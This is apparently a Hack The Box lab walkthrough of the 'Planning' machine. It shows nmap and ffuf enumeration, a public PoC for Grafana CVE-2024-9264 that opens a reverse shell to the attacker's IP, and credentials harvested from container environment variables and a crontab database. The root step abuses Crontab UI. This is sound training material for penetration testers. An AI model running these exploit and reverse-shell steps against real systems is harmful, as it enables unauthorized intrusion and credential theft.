HTB - Planning

Enumeration:

# Nmap 7.95 scan initiated Sun May 11 07:52:25 2025 as: /usr/lib/nmap/nmap -v -p - -Pn -T4 -A -oN nmaptcp planning.htb
Nmap scan report for planning.htb (10.129.241.76)
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 35.597 days (since Sat Apr  5 17:32:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1720/tcp)
HOP RTT      ADDRESS
1   22.20 ms 10.10.14.1
2   22.29 ms planning.htb (10.129.241.76)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 11 07:52:44 2025 -- 1 IP address (1 host up) scanned in 18.98 seconds

User exploit

This machine starts with credentials for an admin user given on the HTB machine page. Looking at the nmap scan, we see port 22 (SSH) and 80 (Web) open. The web port hosts a small website named Edukate which really does not contain anything interesting. VHost fuzzing, however, reveals an interesting domain. Note that the subdomain to find is not in the familiar top1million list.

$ ffuf -u http://planning.htb -w /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host: FUZZ.planning.htb' -fs 178 -t 64

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 64
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 25ms]
:: Progress: [100000/100000] :: Job [1/1] :: 2899 req/sec :: Duration: [0:00:38] :: Errors: 0 ::

Adding grafana.planning.htb to our host file and visiting the new URL leads us to a Grafana login page (with the version at the bottom). We can use the credentials given on the HTB machine page to login as admin.

Googling for exploits for version 11.0.0, we find CVE-2024-9264.

The SQL Expressions experimental feature of Grafana allows for the evaluation of duckdb queries containing user input. These queries are insufficiently sanitized before being passed to duckdb, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack.

We can quickly find a PoC on Github a run it to get a shell as… root?

$ python poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.135 --reverse-port 5555
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 5555
...
$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.14.135] from (UNKNOWN) [10.10.11.68] 53038
sh: 0: can't access tty; job control turned off

$ whoami
root

Running the hostname command gives us 7ce659d667d7, hinting that we are inside a docker container. At the root of the file system, we can see a run.sh script that looks like a docker entry point.

#!/bin/bash -e

PERMISSIONS_OK=0

if [ ! -r "$GF_PATHS_CONFIG" ]; then
    echo "GF_PATHS_CONFIG='$GF_PATHS_CONFIG' is not readable."
    PERMISSIONS_OK=1
fi

if [ ! -w "$GF_PATHS_DATA" ]; then
    echo "GF_PATHS_DATA='$GF_PATHS_DATA' is not writable."
    PERMISSIONS_OK=1
fi

if [ ! -r "$GF_PATHS_HOME" ]; then
    echo "GF_PATHS_HOME='$GF_PATHS_HOME' is not readable."
    PERMISSIONS_OK=1
fi

if [ $PERMISSIONS_OK -eq 1 ]; then
    echo "You may have issues with file permissions, more information here: http://docs.grafana.org/installation/docker/#migrate-to-v51-or-later"
fi

if [ ! -d "$GF_PATHS_PLUGINS" ]; then
    mkdir "$GF_PATHS_PLUGINS"
fi

if [ ! -z ${GF_AWS_PROFILES+x} ]; then
    > "$GF_PATHS_HOME/.aws/credentials"

    for profile in ${GF_AWS_PROFILES}; do
        access_key_varname="GF_AWS_${profile}_ACCESS_KEY_ID"
        secret_key_varname="GF_AWS_${profile}_SECRET_ACCESS_KEY"
        region_varname="GF_AWS_${profile}_REGION"

        if [ ! -z "${!access_key_varname}" -a ! -z "${!secret_key_varname}" ]; then
            echo "[${profile}]" >> "$GF_PATHS_HOME/.aws/credentials"
            echo "aws_access_key_id = ${!access_key_varname}" >> "$GF_PATHS_HOME/.aws/credentials"
            echo "aws_secret_access_key = ${!secret_key_varname}" >> "$GF_PATHS_HOME/.aws/credentials"
            if [ ! -z "${!region_varname}" ]; then
                echo "region = ${!region_varname}" >> "$GF_PATHS_HOME/.aws/credentials"
            fi
        fi
    done

    chmod 600 "$GF_PATHS_HOME/.aws/credentials"
fi

# Convert all environment variables with names ending in __FILE into the content of
# the file that they point at and use the name without the trailing __FILE.
# This can be used to carry in Docker secrets.
for VAR_NAME in $(env | grep '^GF_[^=]\+__FILE=.\+' | sed -r "s/([^=]*)__FILE=.*/\1/g"); do
    VAR_NAME_FILE="$VAR_NAME"__FILE
    if [ "${!VAR_NAME}" ]; then
        echo >&2 "ERROR: Both $VAR_NAME and $VAR_NAME_FILE are set (but are exclusive)"
        exit 1
    fi
    echo "Getting secret $VAR_NAME from ${!VAR_NAME_FILE}"
    export "$VAR_NAME"="$(< "${!VAR_NAME_FILE}")"
    unset "$VAR_NAME_FILE"
done

export HOME="$GF_PATHS_HOME"

if [ ! -z "${GF_INSTALL_PLUGINS}" ]; then
  OLDIFS=$IFS
  IFS=','
  for plugin in ${GF_INSTALL_PLUGINS}; do
    IFS=$OLDIFS
    if [[ $plugin =~ .*\;.* ]]; then
        pluginUrl=$(echo "$plugin" | cut -d';' -f 1)
        pluginInstallFolder=$(echo "$plugin" | cut -d';' -f 2)
        grafana cli --pluginUrl ${pluginUrl} --pluginsDir "${GF_PATHS_PLUGINS}" plugins install "${pluginInstallFolder}"
    else
        grafana cli --pluginsDir "${GF_PATHS_PLUGINS}" plugins install ${plugin}
    fi
  done
fi

exec grafana server                                         \
  --homepath="$GF_PATHS_HOME"                               \
  --config="$GF_PATHS_CONFIG"                               \
  --packaging=docker                                        \
  "$@"                                                      \
  cfg:default.log.mode="console"                            \
  cfg:default.paths.data="$GF_PATHS_DATA"                   \
  cfg:default.paths.logs="$GF_PATHS_LOGS"                   \
  cfg:default.paths.plugins="$GF_PATHS_PLUGINS"             \
  cfg:default.paths.provisioning="$GF_PATHS_PROVISIONING"

It looks like there are a lot of required and interesting environment variables listed in the file, so we can have a look to see if we find anything interesting in there.

$ env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
OLDPWD=/opt
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=run.sh
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/

The GF_SECURITY_ADMIN_USER and GF_SECURITY_ADMIN_PASSWORD variables contain credentials that allow us to log into SSH as enzo, and get the user.txt flag.

Root exploit

Looking around on the machine, we can find the file /opt/crontabs/crontab.db which contains a password for a zip command.

$ cat /opt/crontabs/crontab.db | jq .
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

The backup file in question doesn’t actually exist, but the password will come in handy in a moment. We can use ss to see any listing ports on localhost and forward them to our machine using ssh.

$ ss -naltp
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port     Process
LISTEN      0           4096                 127.0.0.1:34259                0.0.0.0:*
LISTEN      0           4096             127.0.0.53%lo:53                   0.0.0.0:*
LISTEN      0           70                   127.0.0.1:33060                0.0.0.0:*
LISTEN      0           151                  127.0.0.1:3306                 0.0.0.0:*
LISTEN      0           4096                 127.0.0.1:3000                 0.0.0.0:*
LISTEN      0           511                  127.0.0.1:8000                 0.0.0.0:*
LISTEN      0           4096                127.0.0.54:53                   0.0.0.0:*
LISTEN      0           511                    0.0.0.0:80                   0.0.0.0:*
LISTEN      0           4096                         *:22                         *:*

$ exit
$ ssh enzo@planning.htb -L 34259:127.0.0.1:34259 -L 33060:127.0.0.1:33060 -L 3306:127.0.0.1:3306 -L 3000:127.0.0.1:3000 -L 8000:127.0.0.1:8000

When accessing port 8000 in our browser, we are prompted with a basic authentication prompt. Using username root and the password we found in the crontab database allows us to log into a Crontab UI application, which manages crontab tasks on the system. Since the app is running as root, we can add a simple entry to extract the root.txt flag and run it.

Resources:

HyperlinkInfo
https://github.com/ffuf/ffufffuf - Fuzz Faster U Fool
https://github.com/grafana/grafanaGrafana
https://grafana.com/security/security-advisories/cve-2024-9264/Grafana SQL Expressions allow for remote code execution
https://github.com/z3k0sec/CVE-2024-9264-RCE-ExploitCVE-2024-9264-RCE-Exploit in Grafana via SQL Expressions
https://github.com/alseambusher/crontab-uiCrontab UI